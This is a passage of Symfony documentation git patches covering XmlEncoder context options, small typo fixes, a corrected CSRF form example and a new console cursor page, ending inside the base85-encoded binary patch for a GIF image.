-    If you use the Composer ``--no-scripts`` option, make sure your Composer version is ``>=2.1.3``
-    or the special autoload file won't be created.
+    If you use the Composer ``--no-scripts`` option, make sure your Composer version
+    is ``>=2.1.3``; otherwise the ``autoload_runtime.php`` file won't be created.
 
 To make a console application, the bootstrap code would look like::
 

From 177e66f619925e7575db5154d3efdc160487130a Mon Sep 17 00:00:00 2001
From: SirRFI <32642697+SirRFI@users.noreply.github.com>
Date: Mon, 14 Jun 2021 19:24:55 +0200
Subject: [PATCH 2290/7107] [Serializer] XmlEncoder context

---
 components/serializer.rst | 49 ++++++++++++++++++++++++++++++++++-----
 1 file changed, 43 insertions(+), 6 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index bf39ee381f6..aac67945db7 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -967,18 +967,20 @@ These are the options available:
 ==============================  =================================================  ==========================
 Option                          Description                                        Default
 ==============================  =================================================  ==========================
-``xml_format_output``           If set to true, formats the generated XML with
-                                line breaks and indentation.
+``xml_format_output``           If set to true, formats the generated XML with     ``false``
+                                line breaks and indentation
 ``xml_version``                 Sets the XML version attribute                     ``1.1``
 ``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
 ``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
 ``xml_type_cast_attributes``    This provides the ability to forgot the attribute  ``true``
                                 type casting
-``xml_root_node_name``          Sets the root node name (default: ``response``).
-``as_collection``               Always returns results as a collection, even if
+``xml_root_node_name``          Sets the root node name                            ``response``
+``as_collection``               Always returns results as a collection, even if    ``false``
                                 only one line is decoded
-``decoder_ignored_node_types``  Sets nodes to be ignored in the decode             ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
-``encoder_ignored_node_types``  Sets nodes to be ignored in the encode             ``[]``
+``decoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
+                                to be ignored while decoding
+``encoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[]``
+                                to be ignored while encoding
 ``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
 ``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
                                 generated XML
@@ -989,6 +991,40 @@ Option                          Description
     The ``decoder_ignored_node_types`` and ``encoder_ignored_node_types``
     options were introduced in Symfony 4.2.
 
+Example with custom ``context``::
+
+    use Symfony\Component\Serializer\Encoder\XmlEncoder;
+
+    // create encoder with specified options as new default settings
+    $xmlEncoder = new XmlEncoder(['xml_format_output' => true]);
+
+    $data = [
+        'id' => 'IDHNQIItNyQ',
+        'date' => '2019-10-24',
+    ];
+
+    // encode with default context
+    $xmlEncoder->encode($data, 'xml');
+    // outputs:
+    // <?xml version="1.0"?>
+    // <response>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </response>
+
+    // encode with modified context
+    $xmlEncoder->encode($data, 'xml', [
+        'xml_root_node_name' => 'track',
+        'encoder_ignored_node_types' => [
+            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
+        ],
+    ]);
+    // outputs:
+    // <track>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </track>
+
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -1555,6 +1591,7 @@ Learn more
 .. _`JMS serializer`: https://github.com/schmittjoh/serializer
 .. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
 .. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
+.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
 .. _JSON: http://www.json.org/
 .. _XML: https://www.w3.org/XML/
 .. _YAML: https://yaml.org/

From 4b38498cccf1ecfc437d4d0431e972b6f08bc21d Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Wed, 16 Jun 2021 22:20:13 +0200
Subject: [PATCH 2291/7107] Typo

Replaced 'introduce' by  'introduced'.
---
 components/ldap.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/ldap.rst b/components/ldap.rst
index c6dd9f96f4d..1d281a15e0d 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -163,7 +163,7 @@ delete existing ones::
 .. versionadded:: 5.3
 
     The option to make attribute names case-insensitive in ``getAttribute()``
-    and ``hasAttribute()`` was introduce in Symfony 5.3.
+    and ``hasAttribute()`` was introduced in Symfony 5.3.
 
 Batch Updating
 ______________

From c431bf1aa457d035372468d3af31658c47dcd4ae Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 17 Jun 2021 10:40:51 +0200
Subject: [PATCH 2292/7107] Fix: Highlighting

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 5fe9af3dd99..717e13ffc13 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1271,7 +1271,7 @@ check_delayed_interval   The interval to check for delayed           1000
                          Set to 0 to disable checks.
 get_notify_timeout       The length of time to wait for a            0
                          response when calling
-                         ``PDO::pgsqlGetNotify```, in milliseconds.
+                         ``PDO::pgsqlGetNotify``, in milliseconds.
 =======================  ==========================================  ======================
 
 Beanstalkd Transport

From 7f04f3734e704da91f44d114ff092b7b5beb814b Mon Sep 17 00:00:00 2001
From: Luc <luck.pieri@gmail.com>
Date: Thu, 17 Jun 2021 11:43:31 +0200
Subject: [PATCH 2293/7107] Update routing.rst

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 795459d02be..e68f04eba18 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1892,7 +1892,7 @@ use the ``generateUrl()`` helper::
 
     While objects are converted to string when used as placeholders, they are not
     converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
-    as value of an extra parameter, you need to explictly convert it to a string::
+    as value of an extra parameter, you need to explicitly convert it to a string::
 
         $this->generateUrl('blog', ['uuid' => (string) $entity->getUuid()]);
 

From b4f0e0439a8f1119be34ad8720f2db071c44de9f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Jun 2021 17:19:05 +0200
Subject: [PATCH 2294/7107] [Form] Fixed a code example related to CSRF

---
 components/form.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 7ac59478ceb..86a98d48d35 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -121,16 +121,17 @@ The following snippet adds CSRF protection to the form factory::
 
     use Symfony\Component\Form\Extension\Csrf\CsrfExtension;
     use Symfony\Component\Form\Forms;
-    use Symfony\Component\HttpFoundation\Session\Session;
+    use Symfony\Component\HttpFoundation\RequestStack;
     use Symfony\Component\Security\Csrf\CsrfTokenManager;
     use Symfony\Component\Security\Csrf\TokenGenerator\UriSafeTokenGenerator;
     use Symfony\Component\Security\Csrf\TokenStorage\SessionTokenStorage;
 
-    // creates a Session object from the HttpFoundation component
-    $session = new Session();
+    // creates a RequestStack object using the current request
+    $requestStack = new RequestStack();
+    $requestStack->push($request);
 
     $csrfGenerator = new UriSafeTokenGenerator();
-    $csrfStorage = new SessionTokenStorage($session);
+    $csrfStorage = new SessionTokenStorage($requestStack);
     $csrfManager = new CsrfTokenManager($csrfGenerator, $csrfStorage);
 
     $formFactory = Forms::createFormFactoryBuilder()

From 2871df0eb93956aa2c1d01d542757b91f5b50fd3 Mon Sep 17 00:00:00 2001
From: holloway87 <me@holloway-web.de>
Date: Mon, 14 Jun 2021 19:41:51 +0200
Subject: [PATCH 2295/7107] [Security] changed interface name to the correct
 one

---
 security/named_hashers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/named_hashers.rst b/security/named_hashers.rst
index 06f31852020..45ff296540e 100644
--- a/security/named_hashers.rst
+++ b/security/named_hashers.rst
@@ -139,7 +139,7 @@ the name of the hasher to use::
     }
 
 If you created your own password hasher implementing the
-:class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`,
+:class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`,
 you must register a service for it in order to use it as a named hasher:
 
 .. configuration-block::

From 232c519980c35d519946c38b9037141ab3f6a800 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Wed, 21 Apr 2021 14:58:48 +0200
Subject: [PATCH 2296/7107] [Console] Document console cursor

---
 _images/components/console/cursor.gif      | Bin 0 -> 64894 bytes
 components/console/helpers/cursor.rst      | 101 +++++++++++++++++++++
 components/console/helpers/index.rst       |   1 +
 components/console/helpers/map.rst.inc     |   1 +
 components/console/helpers/progressbar.rst |   2 +-
 console.rst                                |   1 +
 6 files changed, 105 insertions(+), 1 deletion(-)
 create mode 100644 _images/components/console/cursor.gif
 create mode 100644 components/console/helpers/cursor.rst

diff --git a/_images/components/console/cursor.gif b/_images/components/console/cursor.gif
new file mode 100644
index 0000000000000000000000000000000000000000..a4fd844eb80a1f0502cfc131c7f6a5b687e03c34
GIT binary patch
literal 64894
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
